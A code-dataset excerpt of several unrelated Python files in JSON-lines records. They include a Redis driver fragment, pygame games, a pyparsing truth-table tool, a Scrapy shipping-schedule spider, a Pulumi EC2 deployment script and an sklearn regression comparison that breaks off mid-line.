self.RETRY_COUNT:\n LOG.debug('Getting all keys with pattern %s retry %d',\n pattern, retry)\n try:\n node_keys = self._get_all_keys_from_node(node, pattern)\n keys.update(node_keys)\n break\n except exceptions.RedisError:\n LOG.exception('Error getting keys from node %s:%s',\n node.ip, node.port)\n retry += 1\n self._cluster.populate_cluster()\n if retry == self.RETRY_COUNT:\n raise df_exceptions.DBKeyNotFound('ALL KEYS')\n return keys\n\n def _key_name_infer_topic(self, table, key):\n raw_keys = self._scan(table, key=key)\n if len(raw_keys) != 1:\n LOG.error('Found %d entries with key \"%s\" in table %s',\n len(raw_keys), key, table)\n raise df_exceptions.DBKeyNotFound(key=key)\n return raw_keys.pop()\n\n def get_all_keys(self, table, topic=None):\n def _strip_table_topic(key):\n match = self._table_strip_re.match(key)\n return match.group(1) if match else key\n raw_keys = self._scan(table, topic=topic)\n keys = [_strip_table_topic(raw_key) for raw_key in raw_keys]\n LOG.debug('found %d keys', len(keys))\n return keys\n\n def allocate_unique_key(self, table):\n real_key = self._key_name(db_common.UNIQUE_KEY_TABLE, None, table)\n return int(self._key_command('INCR', real_key))\n\n def process_ha(self):\n pass\n","repo_name":"openstack-archive/dragonflow","sub_path":"dragonflow/db/drivers/redis_db_driver.py","file_name":"redis_db_driver.py","file_ext":"py","file_size_in_byte":14753,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"48"} +{"seq_id":"39417028544","text":"import pygame\n\n\nclass Spritesheet(pygame.sprite.Sprite):\n def __init__(self, filename, *groups):\n super().__init__(*groups)\n self.filename = filename\n self.spritesheet = pygame.image.load(filename).convert_alpha()\n\n def get_sprite(self, x, y, w, h):\n sprite = pygame.Surface((w, h), pygame.SRCALPHA)\n sprite.blit(self.spritesheet, (0, 0), (x*w, y*h, w, h))\n return sprite\n","repo_name":"ostromann/pygame_trial","sub_path":"my_module/Spritesheet.py","file_name":"Spritesheet.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22470582605","text":"import pygame as pyg\nfrom settings import *\nfrom sprites import *\nfrom os import path\nimport random\n\nclass Game:\n def __init__(self):\n \"\"\" Initialize Game Window etc \"\"\"\n pyg.init()\n # Initialize mixer for sounds\n pyg.mixer.init() \n # Create Window\n self.screen = pyg.display.set_mode((WIDTH, HEIGHT))\n # Handles speed\n self.clock = pyg.time.Clock()\n # Set running for while loop\n self.running = True\n # Matches font\n self.font_name = pyg.font.match_font(F_NAME)\n # High score\n self.dir = path.dirname(__file__)\n\n with open(path.join(self.dir, \"score.txt\"), 'r+') as file:\n # Shout out to Guzzy for helping me with this\n # If try has an error it will text hs to 0 instead\n try:\n self.hs = int(file.read())\n except:\n self.hs = 0\n\n def run(self):\n \"\"\" Main Game Loop \"\"\"\n self.playing = True\n while self.playing:\n # Game clock\n self.clock.tick(FPS)\n # Checks for events\n self.events()\n # Updates\n self.update()\n # Draws to screen\n self.draw()\n \n def newGame(self):\n \"\"\" Starts a new game \"\"\"\n # Group Sprites\n self.all_sprites = pyg.sprite.Group()\n self.platforms = pyg.sprite.Group()\n # Reference\n self.player = Player(self)\n self.score = 0\n\n self.all_sprites.add(self.player)\n for plat in PL_LIST:\n p = Platform(*plat)\n self.all_sprites.add(p)\n self.platforms.add(p)\n self.run()\n\n def draw(self):\n \"\"\" Draws to Screen \"\"\"\n self.screen.fill(BLACK)\n self.all_sprites.draw(self.screen)\n self.text_io(str(self.score), 26, WHITE, W2, 20)\n pyg.display.flip()\n\n def update(self):\n \"\"\" Updates Game \"\"\"\n self.all_sprites.update()\n # Check for collision with platform if falling\n if self.player.vel.y > 0:\n collision = pyg.sprite.spritecollide(self.player, self.platforms, False)\n if collision:\n self.player.pos.y = collision[0].rect.top + 1\n self.player.vel.y = 0\n\n # Game over condition\n if self.player.rect.bottom > HEIGHT:\n # Moves platforms down if player falls off screen and kills platforms\n for sprite in self.all_sprites:\n sprite.rect.y -= max(self.player.vel.y, 6)\n if sprite.rect.bottom < 0:\n sprite.kill()\n # Once all platforms are killed, end the game\n if len(self.platforms) == 0:\n self.playing = False\n\n # Handle camera movement\n # Camera Up\n if self.player.rect.top <= HEIGHT * 0.25:\n self.player.pos.y += abs(self.player.vel.y)\n for plat in self.platforms:\n plat.rect.y += abs(self.player.vel.y)\n if plat.rect.top >= HEIGHT:\n # Gain random score when platforms fall off the screen\n self.score += random.randrange(10, 30)\n plat.kill()\n \n # New platform spawns\n while len(self.platforms) < 7:\n width = random.randrange(45, 85)\n p = Platform(random.randrange(0, WIDTH-width), random.randrange(-75, -35), width, 20)\n\n self.platforms.add(p)\n self.all_sprites.add(p)\n\n def events(self):\n \"\"\" Checks for Events \"\"\"\n for event in pyg.event.get():\n # Checks if x is pressed, quits game\n if event.type == pyg.QUIT:\n if self.playing:\n self.playing = False\n self.running = False\n # Checks for space key to jump\n if event.type == pyg.KEYDOWN:\n if event.key == pyg.K_SPACE:\n self.player.jump()\n\n def key_wait(self):\n \"\"\" Checks events for a keypress \"\"\"\n wait = True\n while wait:\n # Run loop at fps\n self.clock.tick(FPS)\n # Check events\n for event in pyg.event.get():\n # If quit, quit\n if event.type == pyg.QUIT:\n wait = False\n self.running = False\n # Any other event, wait is over\n if event.type == pyg.KEYUP:\n wait = False\n\n def start_screen(self):\n \"\"\" Print Directions and Title, wait for key input to start game \"\"\"\n # Fill screen and print title/directions\n self.screen.fill(BLACK)\n\n self.text_io(\"Grimoire\", 40, WHITE, W2, HEIGHT * 0.10)\n self.text_io(\"Highscore: \" + str(self.hs), 40, WHITE, W2, HEIGHT * 0.25)\n self.text_io(\"Arrows for movement\", 30, WHITE, W2, HEIGHT * 0.40)\n self.text_io(\"Space for jump\", 30, WHITE, W2, HEIGHT * 0.60)\n self.text_io(\"Press a key to start\", 30, WHITE, W2, HEIGHT * 0.80)\n\n pyg.display.flip()\n # Wait for keypress function\n self.key_wait()\n\n def text_io(self, text, size, color, x, y):\n \"\"\" \n Draw text to screen \n \n Inputs: (Text to pass, Font Size, Font color, x location, y location)\n\n \"\"\"\n # Set font size and color\n font = pyg.font.Font(self.font_name, size)\n # Create the surface with text, font and color. True is antialiasing\n text_surface = font.render(text, True, color)\n # Make it a rectangle\n text_rect = text_surface.get_rect()\n # Place the rectangle\n text_rect.midtop = (x, y)\n self.screen.blit(text_surface, text_rect)\n\n def game_over(self):\n \"\"\" Game Over Screen \"\"\"\n # Fill screen and print end screen\n self.screen.fill(BLACK)\n\n self.text_io(\"You died\", 50, WHITE, W2, HEIGHT * 0.20)\n self.text_io(\"Your score: \" + str(self.score), 40, WHITE, W2, HEIGHT * 0.40)\n self.text_io(\"Press a key to play again\", 40, WHITE, W2, HEIGHT * 0.80)\n\n if self.score > self.hs:\n self.hs = self.score\n self.text_io(\"Woot, new high score!\", 50, WHITE, W2, HEIGHT * 0.60)\n with open(path.join(self.dir, \"score.txt\"), 'r+') as file:\n file.write(str(self.score))\n else:\n self.text_io(\"Highscore: \" + str(self.hs), 35, WHITE, W2, HEIGHT * 0.60)\n\n pyg.display.flip()\n # Wait for keypresss function\n self.key_wait()\n\n\ng = Game()\n# Shows starting Screen\ng.start_screen()\n\nwhile g.running:\n g.newGame()\n g.game_over()\n\npyg.quit()","repo_name":"LunaPerry/Grimoire","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36879764051","text":"import asyncio\nfrom hmac import new\nfrom os import name\nimport re\nfrom sqlite3 import connect\nfrom tkinter import N\nfrom numpy import rec\nfrom prisma import Prisma, types\nimport pandas as pd\nfrom pathlib import Path\n\nasync def create_user_owns(userid : int = 1, recipeid : int = 868, verbose = False, debug = False, output_id=False) -> None:\n db = Prisma()\n await db.connect()\n new_user_owns = await db.user_owns_recipes.create(\n {\n 'user': {\n 'connect': {\n 'id': userid\n }\n },\n 'recipe': {\n 'connect': {\n 'id': recipeid\n }\n }\n }\n )\n if verbose:\n print(f'created user_owns: {new_user_owns.json(indent=2)}')\n print(f'{new_user_owns.recipe}')\n\n if debug:\n found = await db.user_owns_recipes.find_many(where={'USER_id': userid})\n assert found is not None\n for found_owns in found:\n print(f'found owns: {found_owns.json(indent=2)}') \n if output_id:\n print(f'{new_user_owns.RECIPE_id}, {new_user_owns.USER_id}') \n await db.disconnect()\n\nif __name__ == '__main__':\n asyncio.run(create_user_owns(verbose=False, debug=False, output_id=True))\n","repo_name":"irekkosek/FoodRecommender","sub_path":"server/create_user_owns.py","file_name":"create_user_owns.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2673471118","text":"import sys\nfrom pyparsing import *\nfrom icecream import ic\n\nsys.setrecursionlimit(3000)\nParserElement.enablePackrat()\nppc = pyparsing_common\ninteger = ppc.integer\nvariable = Word(alphas, exact=1)\noperand = integer | variable\n\nundop = Literal(\"*\")\noderop = Literal(\"+\")\nnotop = Literal(\"!\")\n\nexpr = infixNotation(\n operand,\n [\n (notop, 1, opAssoc.RIGHT),\n (undop, 2, opAssoc.LEFT),\n (oderop, 2, opAssoc.LEFT),\n ],\n)\n\n\nclass operation():\n \n def _unpack(self,data):\n if isinstance(data,str):\n if len(data) == 1:\n return data\n else:\n raise ValueError\n else:\n return operation(data)\n\n def __init__(self,data) -> None:\n if isinstance(data,str):\n data=expr.parseString(data.lower().strip()).asList()\n\n self.operands = []\n self.operator = \"\"\n if isinstance(data,list):\n if len(data) == 1:\n data = data[0]\n\n if isinstance(data,list):\n if len(data) == 2:\n self.operator = data[0]\n self.operands.append(self._unpack(data[1]))\n\n if len(data) >2:\n self.operator = data[1]\n for x in data:\n if x == self.operator:\n continue\n else:\n self.operands.append(self._unpack(x))\n else:\n raise ValueError\n\n\n def __tt(vars):\n if len(vars) == 1:\n yield {vars[0] : False}\n yield {vars[0] : True}\n else:\n for rv in operation.__tt(vars[1:]):\n yield {vars[0] : False, **rv }\n yield {vars[0] : True, **rv }\n\n\n\n def print_tt(self):\n myvars = self.get_vars()\n print(\" \" + \" \".join(myvars)+ \" Y\")\n print(\"--\" * len(myvars) + \"-----\")\n tt=operation.__tt(myvars)\n for line in tt:\n r=[f\"{'1' if line[x] else '0'}\" for x in line]\n result=\"1\" if self.solve(line) else \"0\"\n print(\" \" + \" \".join(r) + \" \" + result)\n\n\n\n def __repr__(self) -> str:\n if self.operator == \"!\":\n return f\"NICHT {self.operands[0]}\"\n else:\n if self.operator == \"*\":\n return \"(\" + \" UND \".join([str(x) for x in self.operands]) + \")\"\n\n if self.operator == \"+\":\n return \"(\" + \" ODER \".join([str(x) for x in self.operands]) + \")\"\n\n def solve(self,values):\n for vary in self.get_vars():\n if not vary in values:\n raise KeyError\n if self.operator == '!':\n if isinstance(self.operands[0],operation):\n return not self.operands[0].solve(values)\n else:\n return not values[self.operands[0]]\n\n if self.operator == '*':\n result = True\n for operand in self.operands:\n if isinstance(operand,operation):\n result = result and operand.solve(values)\n else:\n result = result and values[operand]\n return result\n\n if self.operator == '+':\n result = False\n for operand in self.operands:\n if isinstance(operand,operation):\n result = result or operand.solve(values)\n else:\n result = result or values[operand]\n return result\n\n\n\n def get_vars(self):\n vars = []\n for x in self.operands:\n if isinstance(x,operation):\n vars += x.get_vars()\n else:\n vars.append(x)\n return list(dict.fromkeys(vars))\n\n\n @property\n def hasop(self):\n return len(self.operator)>0\n \n\n\n\ntest = [\n \"(a*b+(a*(!c+b))*c)\",\n \"a*b+(a*(!c+b)*c)\",\n \"a *b+ ( a * ( ! c + (b) ) *c)\",\n \"a*b+c+d\",\n \"a*b+c\",\n \"!a*!(a+b*!c)\",\n]\n\ntestval={'a':True,'b':False,'c':True, 'd':False}\n\ndef tt(vars):\n if len(vars) == 1:\n yield {vars[0] : False}\n yield {vars[0] : True}\n else:\n for rv in tt(vars[1:]):\n yield {vars[0] : False, **rv }\n yield {vars[0] : True, **rv }\n\n\n\n\nfor t in test:\n ic(t)\n c=operation(t)\n c.print_tt()\n\n\n","repo_name":"tkessels/gists","sub_path":"codegrab/kv.py","file_name":"kv.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35440054449","text":"from scrapy.spider import BaseSpider\nfrom scrapy.http import Request\nfrom scrapy import log\nfrom ms_shedule.items import MsSheduleItem\n\nimport re\nimport json, base64\n\nimport sys\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\n\nDATA = '2013-02-15'\nWEEKS = '6'\nreStroka = re.compile(r'(.*?)<.*?>(\\w+)<.*?>(\\w+)<.*?>([\\w ]+?)<.*?>([\\w ]+?)<.*?>(\\w+?)<.*?>([\\w ]+?)<')\n\nclass SpiderIno(BaseSpider):\n\tname = 'MySpider'\n\n\tdef start_requests(self):\n\t\tJsonFile = self._crawler.settings.get(\"MY_PORTS_FILE\", None)\n\t\tif not JsonFile:\n\t\t\tlog.msg(message=\"SpiderIno, start_request, MY_PORTS_FILE is not defined\")\n\t\ttry:\n\t\t\tffile = open(JsonFile, 'r')\n\t\texcept IOError as e:\n\t\t\tlog.msg(message=\"SpiderIno, start_request, failed to open MY_PORTS_FILE with error %s\" % str(e))\n\t\t\treturn\n\n\t\tstroka = ffile.read()\n\t\tffile.close()\n\t\tdel ffile, JsonFile\n\t\t\t\t\n\t\tOriginList = json.loads(stroka)\n\t\tDestinationList = OriginList[:]\n\t\tfor origin in OriginList:\n\t\t\tDestinationList.remove(origin)\n\t\t\tfor destination in DestinationList:\n\n\t\t\t\tmeta = {}\n\t\t\t\tmeta['origin'] = origin\n\t\t\t\tmeta['destination'] = destination\n\t\t\t\tmeta['category'] = 'D'\n\t\t\t\tforB64 = '*'.join([origin['label'], origin['name']+', '+origin['country'], origin['msccode'], destination['label'], destination['name']+', '+ destination['country'], destination['msccode'], DATA, WEEKS, 'D'])\n\t\t\t\tforB64en = base64.b64encode(forB64)\n\t\t\t\tyield Request('http://www.mscgva.ch/php/schedules/OSData.php?e='+forB64en, meta = meta)\n\n\t\t\t\tmeta['category'] = 'A'\n\t\t\t\tforB64 = '*'.join([origin['label'], origin['name']+', '+origin['country'], origin['msccode'], destination['label'], destination['name']+', '+ destination['country'], destination['msccode'], DATA, WEEKS, 'A'])\n\t\t\t\tforB64en = base64.b64encode(forB64)\n\t\t\t\tyield Request('http://www.mscgva.ch/php/schedules/OSData.php?e='+forB64en, meta = meta)\n\n\tdef parse(self, response):\n\n\t\tMyList = reStroka.findall(response.body)\n\t\tif MyList == []:\n\t\t\treturn\n\t\tprint(response.url)\n\t\tmeta = response.meta\n\t\titem = MsSheduleItem()\n\t\titem['origin'] = meta['origin']\n\t\titem['destination'] = meta['destination']\n\t\titem['category'] = meta['category']\n\t\titem['table'] = []\n\t\tfor x in MyList:\n\t\t\titem['table'].append(\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t'vessel': x[0],\n\t\t\t\t\t\t\t\t\t'voyage': x[1],\n\t\t\t\t\t\t\t\t\t'departure day':x[2],\n\t\t\t\t\t\t\t\t\t'departure date': x[3],\n\t\t\t\t\t\t\t\t\t'transit':x[4],\n\t\t\t\t\t\t\t\t\t'arrival day':x[5],\n\t\t\t\t\t\t\t\t\t'arrival date': x[6],\n\t\t\t\t\t\t\t\t}\t\t\t\n\t\t\t\t\t\t\t\t)\n\t\treturn item\n","repo_name":"smart--petea/scrape_mscgva","sub_path":"ms_shedule/ms_shedule/spiders/spiderino.py","file_name":"spiderino.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9890891692","text":"\"\"\"\nThis module runs a sequence of round-robin matches.\nIt flips a coin to determine who moves first\n\"\"\"\nimport itertools\nimport urllib.request\nimport urllib.parse\nimport json\nimport pickle\nimport time\nimport random\n\nimport isolation\n\nimport aqua # ['Will', 'David S']\nimport silver # ['Sergio', 'David W']\nimport blue # ['Seth', 'Alex']\nimport fuchsia # ['Aaron', 'Logan']\nimport lime # ['Orlando', 'Brendon']\nimport maroon # ['Sunny', 'Zach']\nimport olive # ['Michael', 'Alec']\nimport teal # ['Eduardo', 'Marshall']\n\nCGI_ROOT = 'http://wocoders.com/~sykesda/cgi-bin/'\n\n\ndef server_request(script, args):\n \"\"\"\n Send a GET request to a server\n :param script: server CGI script to run\n :param args: a dictionary of argument, value pairings\n :return: A data structure created from a JSON response\n \"\"\"\n url = CGI_ROOT + script + '?' + urllib.parse.urlencode(args)\n print(url)\n response = urllib.request.urlopen(url)\n\n return json.loads(response.read())\n\n\nTEAMS = {\n 'silver': ['Sergio', 'David W'],\n 'blue': ['Seth', 'Alex'],\n 'fuchsia': ['Aaron', 'Logan'],\n 'lime': ['Orlando', 'Brendon'],\n 'maroon': ['Sunny', 'Zach'],\n 'olive': ['Michael', 'Alec'],\n 'teal': ['Eduardo', 'Marshall']\n}\n\n\ndef generate_matches(agent_classes):\n \"\"\"\n Generate matches on the server and store the data in a pickle\n file matchinfo.txt\n :param agent_classes: a dictionary of player classes {color: class, ...}\n :return: None\n \"\"\"\n colors = agent_classes.keys()\n pairings = [pair for pair in itertools.product(colors, colors) if pair[0] != pair[1]]\n\n matches = []\n for pairing in pairings:\n players = list(pairing)\n random.shuffle(players)\n blue, red = players\n match_info = server_request('newmatch.py', {'bluetoken': blue, 'redtoken': red})\n matches.append(match_info)\n time.sleep(1.0)\n\n print('\\n'.join(str(match) for match in matches))\n\n pickle_file = open('matchinfo.txt', 'wb')\n pickle.dump(matches, pickle_file)\n pickle_file.close()\n\n\ndef run_tournament(agent_classes):\n \"\"\"\n Play a bunch of matches between the teams listed in teams\n :param agent_classes: a dictionary of player classes\n :return:\n \"\"\"\n\n # Create new red players\n # red_agents = {team: agent_classes[team](team, isolation.Board.RED_TOKEN) for team in agent_classes}\n #\n # blue_agents = {team: agent_classes[team](team, isolation.Board.BLUE_TOKEN) for team in agent_classes}\n\n pairings = [pair for pair in itertools.product(agent_classes.keys(), agent_classes.keys()) if pair[0] != pair[1]]\n\n print(pairings)\n\n for team1, team2 in pairings:\n # Flip a coin to see who goes first\n if random.choice(('H', 'T')) == 'H':\n blue_player = agent_classes[team1](team1, isolation.Board.BLUE_TOKEN)\n red_player = agent_classes[team2](team2, isolation.Board.RED_TOKEN)\n else:\n blue_player = agent_classes[team2](team2, isolation.Board.BLUE_TOKEN)\n red_player = agent_classes[team1](team1, isolation.Board.RED_TOKEN)\n\n board = isolation.Board()\n match = isolation.Match(blue_player, red_player, board)\n\n match.start_play()\n\n moves = board.moves()\n filename = f'{blue_player.name()}_{red_player.name()}.txt'\n with open(filename, 'w') as log_file:\n print('\\n'.join(str(move) for move in moves), file=log_file)\n\n\n input('Hit RETURN to continue')\n\n\nif __name__ == '__main__':\n isolation.Board.set_dimensions(6, 8)\n\n agent_classes = {\n 'aqua': aqua.PlayerAgent,\n 'silver': silver.PlayerAgent,\n 'blue': blue.PlayerAgent,\n 'fuchsia': fuchsia.PlayerAgent,\n 'lime': lime.PlayerAgent,\n 'maroon': maroon.PlayerAgent,\n 'olive': olive.PlayerAgent,\n 'teal': teal.PlayerAgent,\n }\n\n # generate_matches(agent_classes)\n\n run_tournament(agent_classes)\n","repo_name":"sykesab/isolation-fuschia","sub_path":"Code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30146677913","text":"import pulumi\nfrom pulumi import Output, ResourceOptions\nimport pulumi_aws as aws\nimport server, networking, roles, ssm, kms\nimport string\nimport random\nimport os\nfrom config import Config, get_config_value\n\ndef id_generator(size=6, chars=string.ascii_uppercase + string.digits):\n return str(''.join(random.choice(chars) for _ in range(size)))\n\nstack = pulumi.get_stack()\nconfig = pulumi.Config()\nserver_config = config.require_object(\"server\")\napp_config = config.require_object(\"application\")\nnetwork_config = config.require_object(\"networking\")\nroles_config = config.require_object(\"role\")\nserver_name = server_config.get(\"name\") + \"-\" + id_generator()\n\ntry:\n debug_flag=os.getenv(\"EC2_DEBUG\") is not None\n cfg = Config(debug_mode=debug_flag)\n\n ssh_access = get_config_value(cfg.server_config, \"ssh_access\", default=\"False\")\n proxy_http=None\n proxy_https=None\n no_proxy=None\n proxy_port=None\n if server_config.get(\"proxy-setup\") is not None:\n proxy_http=server_config[\"proxy-setup\"].get(\"http-proxy\")\n proxy_https=server_config[\"proxy-setup\"].get(\"https-proxy\")\n no_proxy=server_config[\"proxy-setup\"].get(\"no-proxy\")\n proxy_info = proxy_http.split(\":\")\n if len(proxy_info) == 3:\n proxy_port = proxy_info[2]\n\n az = network_config.get(\"az\")\n if az is None:\n az = \"a\"\n\n region = network_config.get(\"region\")\n if region is None:\n region = os.getenv(\"AWS_REGION\")\n \n if region is None:\n raise Exception(\"region is required\")\n \n source_cdir_env = app_config.get(\"ec2-dev:source-cdir-env\")\n if source_cdir_env is None:\n source_cdir_env = \"EC2_SOURCE_CDIR\"\n source_cdir = os.getenv(source_cdir_env)\n if source_cdir is None:\n raise Exception(\"Environmental variable containing source cdir is required\")\n\n networking = networking.NetworkingComponent(\n \"networking\",\n networking.NetworkingComponentArgs(\n prefix=server_name,\n cidr_block=network_config.get(\"vpc-cidr\"),\n vpc_id=network_config.get(\"vpc-id\"),\n public_subnet_cidr_block=network_config.get(\"public-subnet-cidr\"),\n private_subnet_cidr_block=network_config.get(\"private-subnet-cidr\"),\n public_subnet_id=network_config.get(\"public-subnet-id\"),\n private_subnet_id=network_config.get(\"private-subnet-id\"),\n ssh_access=ssh_access,\n proxy_port=proxy_port,\n az=az,\n region=region,\n source_cidr=source_cdir\n ),\n )\n\n config_bucket = aws.s3.Bucket(\n \"configuration-bucket\",\n acl=\"private\",\n tags={\n \"Environment\": stack,\n \"Name\": server_name,\n },\n )\n\n s3_vpc_endpoint = roles_config.get(\"s3-vpc-endpoint\")\n if s3_vpc_endpoint:\n s3_policy_yml = Output.all(config_bucket.id).apply(lambda l: f'''\nAWSTemplateFormatVersion: \"2010-09-09\"\nDescription: S3 Bucket\nResources:\n UpdateS3VPCEndpoint:\n Type: Custom::VpcEndpointUpdater\n Properties:\n ServiceToken: !ImportValue VpcEndpointUpdaterARN\n VpcEndpointId: !ImportValue {s3_vpc_endpoint}\n Principal: \"*\"\n Action: \"s3:*\"\n Effect: \"Allow\"\n Resource:\n - \"arn:aws:s3:::{l[0]}\"\n - \"arn:aws:s3:::{l[0]}/*\"\n''')\n\n s3_policy = aws.cloudformation.Stack(f\"{server_name}s3-policy-config\", template_body=s3_policy_yml, opts=ResourceOptions(depends_on=[config_bucket]), capabilities=[\"CAPABILITY_AUTO_EXPAND\"])\n else:\n s3_policy = None\n\n github_token_env = app_config.get(\"ec2-dev:github-token-env\")\n if github_token_env is None:\n github_token_env = \"EC2_CI_GITHUB_TOKEN\"\n github_token = os.getenv(github_token_env)\n if github_token is None:\n raise Exception(\"Environmental variable containing GitHub token is required\")\n\n deployerFileName = \"./deployer.sh\"\n deployerFile = pulumi.FileAsset(deployerFileName)\n\n deployer_bucket_object = aws.s3.BucketObject(\n \"deployer-key-object\", bucket=config_bucket.id, source=deployerFile\n )\n \n permissions_boundary_arn = None\n iam_role = None\n if roles_config:\n permissions_boundary_arn = roles_config.get(\"permissions-boundary\")\n policies = roles_config.get(\"policies\")\n iam_role_name = roles_config.get(\"iam-role-name\")\n \n if iam_role_name is None:\n roles = roles.RolesComponent(\n \"roles\",\n roles.RolesComponentArgs(\n config_bucket, policies, permissions_boundary_arn=permissions_boundary_arn\n ),\n )\n iam_role = roles.base_instance_role\n else:\n role_info = aws.iam.get_role(name=iam_role_name)\n iam_role = aws.iam.Role.get(\"iam_role\", role_info.id)\n\n ssm_key = kms.KmsKeyComponent(\n \"ssm-kms-key\",\n cfg,\n description=\"used to encrypt ssm parameters\",\n roles_actions={\n iam_role: [\n \"kms:Decrypt\",\n \"kms:Encrypt\",\n \"kms:DescribeKey\"\n ]\n },\n opts=pulumi.ResourceOptions(depends_on=[iam_role])\n )\n\n ssm.SsmParamComponent(\"github-token\", github_token, cfg, val_type=\"SecureString\", kms_key=ssm_key)\n\n ssm.SsmParamComponent(\"source-cidr\", source_cdir, cfg)\n \n server_args = {\n \"private_subnet\": networking.private_subnet,\n \"vpc_security_group_ids\": [networking.tm_sg.id],\n \"ami_id\": server_config.get(\"ami-id\"),\n \"iam_role\": iam_role,\n \"ssh_key_name\": server_config.get(\"ssh-key-name\"),\n \"private_ips\": [server_config.get(\"ip-address\")],\n \"proxy_http\": proxy_http,\n \"proxy_https\": proxy_https,\n \"no_proxy\": no_proxy,\n \"stack_name\": stack,\n \"debug\": debug_flag,\n \"tags\": {\n \"Name\": server_name,\n \"Type\": \"ec2-dev\"\n },\n \"region\": region,\n \"ssh_access\": ssh_access,\n }\n\n depends_on = []\n if s3_policy is not None:\n depends_on.append(s3_policy) \n server_args[\"depends_on\"] = depends_on\n\n root_volume_size = server_config.get(\"root-vol-size\")\n if root_volume_size is not None:\n server_args[\"root_volume_size\"] = root_volume_size\n\n root_volume_type = server_config.get(\"root-vol-type\")\n if root_volume_type is not None:\n server_args[\"root_volume_type\"] = root_volume_type\n\n instance_type = server_config.get(\"instance-type\")\n if instance_type is not None:\n server_args[\"instance_type\"] = instance_type\n\n user_data_file = app_config.get(\"user-data-file\")\n if user_data_file is not None:\n server_args[\"user_data_file\"] = user_data_file\n\n server = server.ServerComponent(server_name, **server_args)\n\n pulumi.export('instance', server.instance.id)\n \n deployer = aws.ssm.Document(f\"{cfg.stack}-deployer\",\n content=\"\"\"{\n \"schemaVersion\": \"1.2\",\n \"description\": \"Deployer.\",\n \"runtimeConfig\": {\n \"aws:runShellScript\": {\n \"properties\": [\n {\n \"id\": \"0.aws:runShellScript\",\n \"runCommand\": [\"/usr/local/bin/run-deployer.sh\"]\n }\n ]\n }\n }\n}\"\"\",\n document_type=\"Command\",\n tags={\n \"Name\": f\"{cfg.stack}-deployer\", \n \"Stack\": f\"{cfg.stack}\"\n },\n opts=pulumi.ResourceOptions(delete_before_replace=True)\n )\n\n pulumi.export(\"Deploy GHE backup utils SSM command:\", deployer.name)\n \nexcept Exception as e:\n print(f\"Failed, execption: {e}\")\n os.exit(1)\n","repo_name":"paulcarlton-ww/ec2-dev-env","sub_path":"aws-deploy/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":7567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39625998355","text":"import matplotlib.pyplot as plt\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import GridSearchCV\nfrom utils import model_with_kmeans_eval, simple_model_eval\nfrom sklearn.linear_model import Ridge, Lasso, ElasticNet\nimport pickle\n\ndef get_lin_model(isWithCV, model=''):\n if isWithCV:\n if model == 'ridge':\n alpha = [0.001, 0.01, 0.1, 1, 10, 100, 1000]\n param_grid = dict(alpha=alpha)\n ridge = Ridge()\n return GridSearchCV(estimator=ridge, param_grid=param_grid, scoring='r2', verbose=1, n_jobs=-1)\n elif model == 'lasso':\n alpha = [0.001, 0.01, 0.1, 1, 10, 100, 1000]\n param_grid = dict(alpha=alpha)\n lasso = Lasso()\n return GridSearchCV(estimator=lasso, param_grid=param_grid, scoring='r2', verbose=1, n_jobs=-1)\n else:\n elastic_net = ElasticNet()\n alpha = [0.001, 0.01, 0.1, 1, 10, 100, 1000]\n l1_ratio = [0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1]\n param_grid = dict(alpha=alpha, l1_ratio=l1_ratio)\n return GridSearchCV(estimator=elastic_net, param_grid=param_grid, scoring='r2', verbose=1, n_jobs=-1)\n else:\n return LinearRegression()\n\n\ndef linear_reg_with_kmeans():\n # Linear regression\n linear_reg_0 = get_lin_model(False)\n linear_reg_1 = get_lin_model(False)\n\n linear_reg_0, linear_reg_1, x_train_0, y_train_0, x_train_1, y_train_1, x_test_0, y_test_0, x_test_1, y_test_1 \\\n = model_with_kmeans_eval(linear_reg_0, linear_reg_1)\n\n print(\"Linear Regression Training Scores 0: \", linear_reg_0.score(x_train_0, y_train_0))\n print(\"Linear Regression Training Scores 1: \", linear_reg_1.score(x_train_1, y_train_1))\n\n print(\"Linear Regression Testing score 0:\", linear_reg_0.score(x_test_0, y_test_0))\n print(\"Linear Regression Testing score 1:\", linear_reg_1.score(x_test_1, y_test_1))\n\n # Ridge regression\n ridge_reg_0 = get_lin_model(True, 'ridge')\n ridge_reg_1 = get_lin_model(True, 'ridge')\n\n ridge_reg_0, ridge_reg_1, x_train_0, y_train_0, x_train_1, y_train_1, x_test_0, y_test_0, x_test_1, y_test_1 \\\n = model_with_kmeans_eval(ridge_reg_0, ridge_reg_1)\n\n print(\"Ridge regression Training Scores 0: \", ridge_reg_0.score(x_train_0, y_train_0))\n print(\"Ridge regression Training Scores 1: \", ridge_reg_1.score(x_train_1, y_train_1))\n\n print(\"Ridge regression Testing score 0:\", ridge_reg_0.score(x_test_0, y_test_0))\n print(\"Ridge regression Testing score 1:\", ridge_reg_1.score(x_test_1, y_test_1))\n\n # Lasso regression\n lasso_reg_0 = get_lin_model(True, 'lasso')\n lasso_reg_1 = get_lin_model(True, 'lasso')\n\n lasso_reg_0, lasso_reg_1, x_train_0, y_train_0, x_train_1, y_train_1, x_test_0, y_test_0, x_test_1, y_test_1 \\\n = model_with_kmeans_eval(lasso_reg_0, lasso_reg_1)\n\n print(\"Lasso regression Training Scores 0: 